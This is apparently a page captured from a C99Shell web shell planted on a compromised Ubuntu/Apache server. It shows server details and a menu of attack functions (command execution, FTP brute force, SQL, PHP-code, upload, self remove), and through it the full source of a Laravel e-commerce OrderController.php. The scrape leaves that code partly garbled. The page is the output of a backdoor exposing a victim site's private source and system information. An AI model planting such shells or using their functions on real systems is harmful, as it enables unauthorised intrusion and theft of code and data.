!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Http/Controllers/Seller/   drwxr-xr-x
Free 13.4 GB of 57.97 GB (23.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OrderController.php (19.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Seller;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
Auth;
use 
App\Order;
use 
App\Ordermeta;
use 
App\Orderitem;
use 
App\Ordershipping;
use 
App\Term;
use 
App\Attribute;
use 
App\Category;
use 
App\User;
use 
App\Models\Customer;
use 
App\Useroption;
use 
App\Stock;
use 
Cart;
use 
Carbon\Carbon;
use 
App\Mail\CustomerOrderMail;
use 
Illuminate\Support\Facades\Mail;
use 
App\Getway;
class 
OrderController extends Controller
{
    protected 
$user_id
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index(Request $request,$type)
    {
      
        
$user_id=Auth::id();

        if (
$type=='all') {
            if (!empty(
$request->src)) {
              
                
$orders=Order::where([
                    [
'user_id',$user_id],
                    [
'order_no',$request->src]
                ])->
with('customer')->withCount('order_items')->orderBy('id','DESC')->paginate(40);

            }
            elseif(!empty(
$request->payment_status) && !empty($request->status) && !empty($request->start)  && !empty($request->end)){
                
$arr['user_id']=$user_id;
                
$arr['status']=$request->status;
                if (
$request->payment_status=='cancel') {
                    
$arr['payment_status']=0;
                }
                else{
                    
$arr['payment_status']=$request->payment_status;
                }
                
               
                
$start date("Y-m-d",strtotime($request->start));
                
$end date("Y-m-d",strtotime($request->end));


                
$orders=Order::where($arr)->whereBetween('created_at',[$start,$end])->with('customer')->withCount('order_items')->orderBy('id','DESC')->paginate(40);

            }
            else{

                
$orders=Order::where('user_id',$user_id)->with('customer')->withCount('order_items')->orderBy('id','DESC')->paginate(40);
            }
           
        }
        else{
             if (!empty(
$request->src)) {
                
$orders=Order::where([
                    [
'user_id',$user_id],
                    [
'order_no',$request->src]
                ])->
where('status',$type)->with('customer')->withCount('order_items')->orderBy('id','DESC')->paginate(40);
              }
              elseif(!empty(
$request->payment_status) && !empty($request->status) && !empty($request->start)  && !empty($request->end)){
                
$arr['user_id']=$user_id;
                
$arr['status']=$request->status;
                if (
$request->payment_status=='cancel') {
                    
$arr['payment_status']=0;
                }
                else{
                    
$arr['payment_status']=$request->payment_status;
                }
                
               
                
$start date("Y-m-d",strtotime($request->start));
                
$end date("Y-m-d",strtotime($request->end));

                
$orders=Order::where($arr)->whereBetween('created_at',[$start,$end])->with('customer')->withCount('order_items')->orderBy('id','DESC')->paginate(40);

              }
              else{
                
$orders=Order::where('user_id',$user_id)->where('status',$type)->with('customer')->withCount('order_items')->orderBy('id','DESC')->paginate(40);
              }  
            
        }
        

        
$pendings=Order::where('user_id',$user_id)->where('status','pending')->count();
        
$processing=Order::where('user_id',$user_id)->where('status','processing')->count();
        
$pickup=Order::where('user_id',$user_id)->where('status','ready-for-pickup')->count();
        
$completed=Order::where('user_id',$user_id)->where('status','completed')->count();
        
$canceled=Order::where('user_id',$user_id)->where('status','canceled')->count();
        
$archived=Order::where('user_id',$user_id)->where('status','archived')->count();

        
$type=$type;
        return 
view('seller.orders.index',compact('orders','pendings','processing','pickup','completed','archived','canceled','request','type'));
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create(Request $request)
    {
        
$plan=user_limit();
        
$google_analytics=filter_var($plan['pos']);
            if(
$google_analytics == false){
               
$msg='This module did not support your subscription.';
               
\Session::flash('error',$msg);
               return 
back();
               
        } 

        if (!empty(
$request->search)) {
          
$posts=Term::with('preview','price','attributes','options','stock')->where('id',$request->search)->where('user_id',Auth::id())->where('type','product')->where('status',1)->latest()->paginate(40);
        }
        else{
          
$posts=Term::with('preview','price','attributes','options','stock')->where('user_id',Auth::id())->where('type','product')->where('status',1)->latest()->paginate(40);
        }
        
$src=$request->src ?? '';
        return 
view('seller.orders.create',compact('posts','src'));
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        
$user_id=Auth::id();
        
$this->user_id=$user_id;
        
$option=$request->option ?? [];
        
$variation=$request->variation ?? [];
       
       
$term=Term::where('user_id',$this->user_id)->with('price','preview')->where('id',$request->term_id);
       if(
$request->option != null){
        
$term=$term->with('termoption',function($q) use ($option){
            if(
count($option) > 0){
            return 
$q->whereIn('id',$option);
            }
            else{
                return 
$q;
            }
            });
       }
       if(
$request->variation){
        
$term=$term->with('attributes',function($q) use ($variation){
            if(
count($variation) > 0){
             return 
$q->whereIn('id',$variation);
            }
            else{
                return 
$q;
            }
         
        });
       }
       
$term$term->first();
       if(!empty(
$term)){
           
$price=$term->price->price;
           if(
$request->option != null){
            foreach(
$term->termoption ?? [] as $row){
                if(
$row->amount_type == 1){
                 
$price$price+$row->amount;
                }
                else{
                 
$percent$price $row->amount 100;
                 
$price$price+$percent;
                }
            }
            
$options=$term->termoption;
           }
           else{
            
$options= [];
           }

           if(
$request->variation != null){
            
$attributes=$term->attributes ?? [];
           }
           else{
            
$attributes= [];
           }
          
           
$price=$price;
         
        
           
Cart::add($term->id,$term->title$request->qty,$price,0,['attribute' => $attributes,'options'=>$options,'preview' => $term->preview->media->url ?? asset('uploads/default.png')]);
           
Cart::setGlobalTax(tax());
       }

        
        
$data['count']=Cart::count();
        
$data['subtotal']=Cart::subtotal();
        
$data['priceTotal']=Cart::priceTotal();
        
$data['total']=Cart::total();
        
$data['tax']=Cart::tax();
        
$data['items']=Cart::content();
        
        return 
$data;
       
    }

    public function 
cartRemove($id)
    {
       
        
Cart::remove($id);
        return 
back();
    }

    public function 
apply_coupon(Request $request)
    {
        
$validatedData $request->validate([
            
'code' => 'required|max:50',
         ]);

        
$code=Category::where('user_id',Auth::id())->where('type','coupon')->where('name',$request->code)->first();
        if (empty(
$code)) {
           
$error['errors']['error']='Coupon Code Not Found.';
           return 
response()->json($error,404);
        }
        
$mydateCarbon::now()->toDateString();
        if (
$code->slug >= $mydate) {
            
Cart::setGlobalDiscount($code->featured);

            return 
response()->json(['Coupon Applied']);
        }

        
$error['errors']['error']='Sorry, this coupon is expired';
        return 
response()->json($error,401);



    }

    public function 
make_order(Request $request)
    {
        
$user_id=Auth::id();
        
        if(
$request->customer_type == 1){
            
$user=Customer::where('created_by',$user_id)->where('email',$request->email)->first();
            if (empty(
$user)) {
                
$error['errors']['error']='Sorry, Customer Not Exist';
                return 
response()->json($error,401);
            }
            
$customer_id=$user->id;
        }
        else{
            
$customer_id=null;
        }

        if(
Cart::count() == 0){
          return 
response()->json('Cart empty');
        }

        if (
$request->delivery_type=='1') {
          
            
$validatedData $request->validate([
            
'email' => 'required|email|max:50',
            
'name' => 'required|max:50',
            
'phone' => 'required|max:50',
            
'address' => 'required|max:100',
            
'location' => 'required',
            
'zip_code' => 'required',
            
'shipping_method' => 'required',
            
'payment_method' => 'required',
            
'payment_id' => 'required|max:100',
            ]);
            
           
            
$prefix=Useroption::where('user_id',$user_id)->where('key','order_prefix')->first();
            
$max_id=Order::max('id');
            if (empty(
$prefix)) {
                
$prefix=$max_id+1;
            }
            else{
                 
$prefix=$prefix->value.$max_id;
            }

            
$shipping_amount=Category::where('user_id',$user_id)->where('type','method')->find($request->shipping_method);
            
$order=new Order;
            
$order->order_no=$prefix;
            
$order->transaction_id =$request->payment_id;
            
$order->category_id =$request->payment_method;
            
$order->customer_id =$customer_id;
            
$order->user_id  =$user_id;
            
$order->order_type  =$request->delivery_type;
            
$order->payment_status=$request->payment_status;
            
$order->status='pending';
            
$order->tax=Cart::tax();
            
$order->shipping=$this->calculateWeight(Cart::weight(),$shipping_amount->slug);
            
$order->total=$this->calculateShipping(Cart::total(),$shipping_amount->slug,Cart::weight());
            
$order->save();

            
$info['name']=$request->name;
            
$info['email']=$request->email;
            
$info['phone']=$request->phone;
            
$info['comment']=$request->comment;
            
$info['address']=$request->address;
            
$info['zip_code']=$request->zip_code;
            
$info['coupon_discount']=Cart::discount();
            
$info['sub_total']=Cart::subtotal();


            
$meta=new Ordermeta;
            
$meta->order_id=$order->id;
            
$meta->key='content';
            
$meta->value=json_encode($info);
            
$meta->save();

            
$items=[];

            foreach (
Cart::content() as $key => $row) {
                
$options['attribute']= $row->options->attribute;
                
$options['options']= $row->options->options;
                
$data['order_id']=$order->id;
                
$data['term_id']=$row->id;
                
$data['info']=json_encode($options);
                
$data['qty']=$row->qty;
                
$data['amount']=$row->price;
                
array_push($items$data);
            }

            
Orderitem::insert($items);

            
$ship['order_id']=$order->id;
            
$ship['location_id']=$request->location;
            
$ship['shipping_id']=$request->shipping_method;

            
Ordershipping::insert($ship);

            
Cart::destroy();

            return 
response()->json(['Order Created']);

        }
        else{
           
           
$validatedData $request->validate([
            
'email' => 'required|email|max:50',
            
'name' => 'required|max:50',
            
'payment_method' => 'required',
            
'payment_id' => 'required|max:100',
           ]);
           
$user_id=Auth::id();
           
$user=Customer::where('created_by',$user_id)->where('email',$request->email)->first();
           if (empty(
$user)) {
            
$error['errors']['error']='Sorry, Customer Not Exist';
            return 
response()->json($error,401);
           }
           
$prefix=Useroption::where('user_id',$user_id)->where('key','order_prefix')->first();
           
$max_id=Order::max('id');
           if (empty(
$prefix)) {
               
$prefix=$max_id+1;
           }
           else{
                
$prefix=$prefix->value.$max_id;
           }


            
$order=new Order;
            
$order->order_no=$prefix;
            
$order->transaction_id =$request->payment_id;
            
$order->category_id =$request->payment_method;
            
$order->customer_id =$customer_id;
            
$order->user_id  $user_id;
            
$order->order_type  $request->delivery_type;
            
$order->payment_status=$request->payment_status;
            
$order->status='pending';
            
$order->tax=Cart::tax();
            
$order->total=Cart::total();
            
$order->save();

            
$info['name']=$request->name;
            
$info['email']=$request->email;
            
$info['comment']=$request->comment;
            
$info['coupon_discount']=Cart::discount();
            
$info['sub_total']=Cart::subtotal();


            
$meta=new Ordermeta;
            
$meta->order_id=$order->id;
            
$meta->key='content';
            
$meta->value=json_encode($info);
            
$meta->save();

            
$items=[];

            foreach (
Cart::content() as $key => $row) {
                
$options['attribute']= $row->options->attribute;
                
$options['options']= $row->options->options;
                
$data['order_id']=$order->id;
                
$data['term_id']=$row->id;
                
$data['info']=json_encode($options);
                
$data['qty']=$row->qty;
                
$data['amount']=$row->price;
                
array_push($items$data);
            }

            
Orderitem::insert($items);
            
Cart::destroy();
            return 
response()->json(['Order Created']);
        }
    }


    public function 
calculateShipping($total,$shipping_amount,$weight)
    {
        
$shipping_amount=(float)$shipping_amount;
        
$totalAmount=$total;

        
$weight_amount=$this->calculateWeight($weight,$shipping_amount);
        
$amount=$totalAmount+$weight_amount;

        return 
$amount;

    }

    public function 
calculateWeight($weight,$amount)
    {
        return 
$amount
    }
    public function 
checkout()
    {
       
$posts=Getway::where('user_id',Auth::id())->where('status',1)->get();;
       return 
view('seller.orders.checkout',compact('posts'));
    }
    
/**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function show($id)
    {
        
$info=Order::where('user_id',Auth::id())->with('order_item','customer','order_content','shipping_info','getway')->findorFail($id);
        
$order_content=json_decode($info->order_content->value);
       return 
view('seller.orders.show',compact('info','order_content'));
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function edit($id)
    {
        
//
    
}

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $request$id)
    {
        
$user_id=Auth::id();
        
        
$order=Order::where('user_id',$user_id)->with('order_item_with_stock','order_item_with_file','customer','order_content','shipping_info')->findorFail($id);
        
        if (
$request->status) {
            
$order->status=$request->status;
        }
        
$order->payment_status=$request->payment_status ?? 0;
        
$order->save();

       
        if(
$request->status == 'completed'){
          
            foreach(
$order->order_item_with_stock as $row){
              
// dd($row);
                
if($row->stock != null){
                    
$available_qty=$row->stock->stock_qty;
                    
$order_qty=$row->qty;
                    if(
$order_qty >= $available_qty){
                        
$final_qty=0;
                        
$final_stock_status=0;
                    }
                    else{
                        
$final_qty=$available_qty-$order_qty;
                        
$final_stock_status=1;
                    }
                  
                    
$stock=Stock::find($row->stock->id);
                    
$stock->stock_status=$final_stock_status;
                    
$stock->stock_qty=$final_qty;
                    
$stock->save();


                }
            }
        }
       
        if (!empty(
$request->mail_notify)) {
           

           
$location=Useroption::where('key','location')->where('user_id',$user_id)->first();
           
$store_email=Useroption::where('key','store_email')->where('user_id',$user_id)->first();
           
$location=json_decode($location->value ?? '');

           
$order_content=json_decode($order->order_content->value ?? '');
           
$data['order']=$order;
           
$data['location']=$location;
           
$data['order_content']=$order_content;
           
$data['url']=my_url();
           
$data['customer_email']=$order_content->email ?? '';
           
$data['admin_email']=$store_email->value ?? Auth::user()->email;
            if(!empty(
$order_content->email)){
              if(
env('QUEUE_MAIL') == 'on'){
               
dispatch(new \App\Jobs\SendInvoiceEmail($data));
              }
             else{
              
Mail::to($data['customer_email'])->send(new CustomerOrderMail($data));
             }
            }
           
           
        }

        return 
response()->json(['Order Updated']);

       
    }

    public function 
invoice($id)
    {
        
$user_id=Auth::id();
        
$order=Order::where('user_id',Auth::id())->with('order_item','customer','order_content','shipping_info')->findorFail($id);

        
$location=\App\Useroption::where('key','location')->where('user_id',$user_id)->first();
        
$location=json_decode($location->value ?? '');

        
$order_content=json_decode($order->order_content->value ?? '');
        
        
$pdf \PDF::loadView('email.invoice',compact('order','order_content','location'));
        return 
$pdf->download('invoice.pdf');
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Request $request)
    {
        
$auth_id=Auth::id();
        if(
$request->method == 'delete'){
            if (
$request->ids) {
                foreach (
$request->ids as $id) {
                 
$orderOrder::where('user_id',$auth_id)->findorFail($id);
                 
$order->delete();
              }
            }
        }
        else{
            if (
$request->ids) {
                foreach (
$request->ids as $id) {
                 
$orderOrder::where('user_id',$auth_id)->findorFail($id);
                 
$order->status=$request->method;
                 
$order->save();
              }
            }
        }

        return 
response()->json(['Success']);

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0101 ]--